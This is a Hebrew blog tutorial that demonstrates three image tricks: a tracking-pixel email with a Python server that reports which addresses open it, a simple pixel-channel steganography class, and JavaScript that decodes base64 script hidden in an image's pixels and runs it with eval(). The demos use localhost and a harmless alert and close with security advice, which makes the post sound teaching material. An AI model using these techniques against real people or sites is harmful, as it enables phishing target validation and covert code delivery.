February 11, 2023

למה אסור לסמוך על תמונות

הרשת תמיד מחביאה כלים והפתעות, היום נכיר כמה טכניקות שניתן להשתמש בתמונות.

החומרים שכאן ללמידה בלבד - בתכלית האיסור להשתמש בכאלו כלים על מנת לרמות אנשים.

האם האימייל פעיל?

ספאם נועד לא רק כדי להזביל לנו את החיים אלה גם לגלות מוקדים פעילים - אחת הסיבות למה אני נמנע מלפתוח מיילים בכלל.

אז איך הרעיון הזה יכול לעבוד…

אנחנו מעתיקים תמונה ומשנים לה את השם עם האימייל הספציפי שאנחנו רוצים לעשות לו בדיקה.
ואז נוכל לבנות HTML שיכיל את התמונה:

1
2
3
4
5
<div>
Hello!
I'm just checking on you!
<img src="http://localhost:8000/myemail@gmail.com_cat.jpg"/>
</div>

במקרה שלנו אנחנו משתמשים במיקום לוקאלי כי אני לא באמת הולך להריץ סאקם כזה.

  • וגם אתם לא!

כעת נצטרך שרת שיודע לקבל הודעות לתמונות האלו.
שימו לב שצירפתי שם גם קוד שיודע להעתיק את התמונה המקורית בשביל ליצור אותם בצורה אוטומטית.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from http.server import HTTPServer, BaseHTTPRequestHandler
import shutil
import os

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
file = str(self.path[1:])

if('@' in file and not '_cat.jpg' in file):
shutil.copy('cat.jpg', file + '_cat.jpg')
return

with open(file, 'rb') as f:
print(f"Email {str(file[:-8])} is active")
content = f.read()
print(file)
self.send_response(200)
self.end_headers()
self.wfile.write(content)
#os.remove(file)


httpd = HTTPServer(('localhost', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

ואז כשהמשתמש פותח את האימייל שלנו אנחנו מקבלים על זה התראה:

באותה דרך אנחנו יכולים להריץ קישורים רבים ולא רק בעזרת תמונות - ולכן כל ניווט אינטרנטי מכיל שובלים של מידע על מי הגיע ואיך.

זה נתון למתקפות Phishing או אם מגיע אליכם מייל זה, זה יכול להיקרא Spear Phishing כי הוא מאוד ספציפי.

את הקוד תוכלו למצוא כאן:

https://github.com/Ilya122/EmailActiveChecker_Learning

להחביא מידע בתמונות

תמונות מכילות מידע על פיקסלים, תמונה סטנדרטית נבנית ע”י שלושה צבעים עבור כל פיקסל: אדום, כחול וירוק.

למשל בפיקסל הראשון נוכל לראות שתמונת החתול מכילה ערכי:
201 לאדום
182 לירוק
142 לכחול

כל אחד מהם נקרא “ערוץ” או Channel.

נוכל לערוך רק ערוץ אחד כדי להסתיר מידע וככה לא לפגוע יותר מדי בצבע הפיקסל.
אם התמונה תכיל פיקסלים מוזרים אז זה ייראה מוזר לאנשים וייחשדו בה!

באלגוריתם נשתמש בספריית PIL - או Pillow,
כדי לטעון תמונה ולערוך את הערוצים שלה.

בקוד הנ”ל נשתמש באורך בלבד ולכן בתמונה בגודל 256 על 256 נוכל לשמור מידע עד 256 תווים בלבד.
נצטרך לערוך גם את ה-X על מנת שנוכל להשתמש בכל הפיקסלים.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image

class MessageHider:
def __init__(self, fileName):
self.__fileName = fileName + '.png'
self.__hiddenFile = fileName + '_hidden.png'

def Hide(self, message):
msgLen = len(message)
with Image.open(self.__fileName) as im:
firstPixel = im.getpixel((0, 0))
newPix = (firstPixel[0], firstPixel[1], msgLen)
# Set length
im.putpixel((0, 0), newPix)

for i in range(msgLen):
pixel = im.getpixel((0, i+1))
# Encode message
newPix = (pixel[0], pixel[1], int(ord(message[i])))
im.putpixel((0, i + 1), newPix)
im.save(self.__hiddenFile)

def Show(self):
message = ''

with Image.open(self.__hiddenFile) as im:
length = im.getpixel((0, 0))
length = length[2]
for i in range(length):
message += chr(im.getpixel((0, (i+1)))[2])

return message


hider = MessageHider(
'C:\\Users\\ASUS\\AppData\\Local\\Temp\\PY\\HideInJpeg\\cat')

hider.Hide('Beer is awesome')
print(hider.Show())

כמובן שאלגוריתם כזה הוא מאוד פשטני ויש אלגוריתמים להסתרת מידע יותר מוצלחים.

להחביא קוד בתמונות

אם אנחנו יכולים להסתיר מידע בתמונות ז”א נוכל להסתיר קוד בתמונות!

איך נצליח להסתיר קוד?
בשביל זה נשתמש ב-javascript ביחד עם שרת - כדי להביא את התמונה.

המטרה היא להחביא את - eval('alert("hello world")') בתוך התמונה.
אז כרגע אנחנו שומרים את המידע כטקסט - אם מישהו ייסתכל על הפיקסלים כאותיות אז יוכל לזהות ישר שאנחנו משתמשים בזה:

בשביל הפשטות נשתמש באלגוריתם די פשוט שנקרא base64.
האלגוריתם הוא פשוט משום שכל מה שהוא עושה הוא ממיר את התווים לתווים בבסיס 64.
כמו שיש לנו בסיס בינארי והקסאדצימאלי.

הקוד שלנו ייראה ככה: ZXZhbCgnYWxlcnQoImhlbGxvIHdvcmxkIiknKQ==.

נצטרך לתקן את הקוד למעלה כדי לשמור בייס 64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def HideBase64(self, message):
msgLen = len(message)
with Image.open(self.__fileName) as im:
encoded = base64.b64encode(message.encode())
msgLen = len(encoded)
firstPixel = im.getpixel((0, 0))
newPix = (firstPixel[0], firstPixel[1], msgLen)
im.putpixel((0, 0), newPix)

for i in range(msgLen):
pixel = im.getpixel((0, i+1))
newPix = (pixel[0], pixel[1], int(encoded[i]))
im.putpixel((0, i + 1), newPix)
im.save(self.__hiddenFile)

ולבסוף נכתוב קוד js על מנת לקחת את המידע מהתמונה ולהריץ אותו דרך eval.
בכוונה שמו eval כי אנחנו לא יכולים להסתיר את דרך ההרצה.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script lang="javascript">
window.onload = function() {

var canvas = document.createElement("canvas");
var ctx = canvas.getContext('2d');

var img = new Image;
img.crossOrigin = "Anonymous";

img.onload = function() {
console.log('Loaded');
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0); // Or at whatever offset you like
var lengthPixel = ctx.getImageData(0, 0, 1, 1).data;
console.log('Pixel is ' + lengthPixel);

console.log('length is ' + lengthPixel[2]);

let data = '';

for (let i = 1; i <= lengthPixel[2]; i++) {
var dataPixel = ctx.getImageData(0, i, 1, 1).data;
console.log(dataPixel);
data += String.fromCharCode(dataPixel[2]);
}

console.log('data is ' + data);
let scriptString = atob(data);
console.log('scripted string is ' + scriptString);
eval(scriptString);
};
img.src = "http://localhost:8000/cat_hidden.png";

}
</script>

<div>
<img id="mahImage" src="http://localhost:8000/cat_hidden.png" />
<div id="output"></div>
</div>

והתוצאה:

הקוד עצמו לא עושה משהו מיוחד.
טוענים תמונה בעזרת context canvas ומשיגים את הפיקסלים דרך getImageData.

שימו לב שכאן השתמשתי ב-Cross Origin Anonymous.
בדרך כלל זה לא ייעבוד לכם בכזו צורה פשוטה.

את כלל הקוד תוכלו למצוא כאן:
https://github.com/Ilya122/HideInJpeg_Learning

ללמוד ולדעת

הקונספטים פה מציגים איך ניתן להשתמש בכלים ידודותיים ככלים זדוניים להסתיר.
זו רק שכבת הבצל הראשונה - תחשבו על כמה שכבות על גבי שכבות נוכל ליצור ולהסתיר.
אם בדוגמא השלישית השתמשנו ב - תמונה ובסיס 64 שאלו רק 2 שכבות, היינו יכולים להשתמש במגוון כלים נוספים.
כמו Http או tcp Packets, הצפנה אמיתית ולא רק encoding וכדו’…

כמו כן, רוב הכלים היום לא יודעים לפרוץ באמת לנקודת קצה סתם ככה - דרושים יכולות גבוהות מאוד לפרוץ מרחוק מחשבים.
אך - הפריצות הכי נפוצות הן בעזרת עבודת עיניים על אנשים.
גורמים לאנשים להוריד קבצים שלא נראים חשודים אך בתוכם מוסתרים כלים זדוניים.

לכן - אל תפתחו, אל תריצו ואל תורידו שום דבר שמישהו שאתם לא מכירים הביא לכם ותחשדו בכל דבר שאתם לא מכירים.

תודה על הקריאה!

על הפוסט

הפוסט נכתב על ידי Ilya, רישיון על ידי CC BY-NC-ND 4.0.

שתפו את הפוסט

Email Facebook Linkedin Print

קנו לי קפה

#Software#Cyber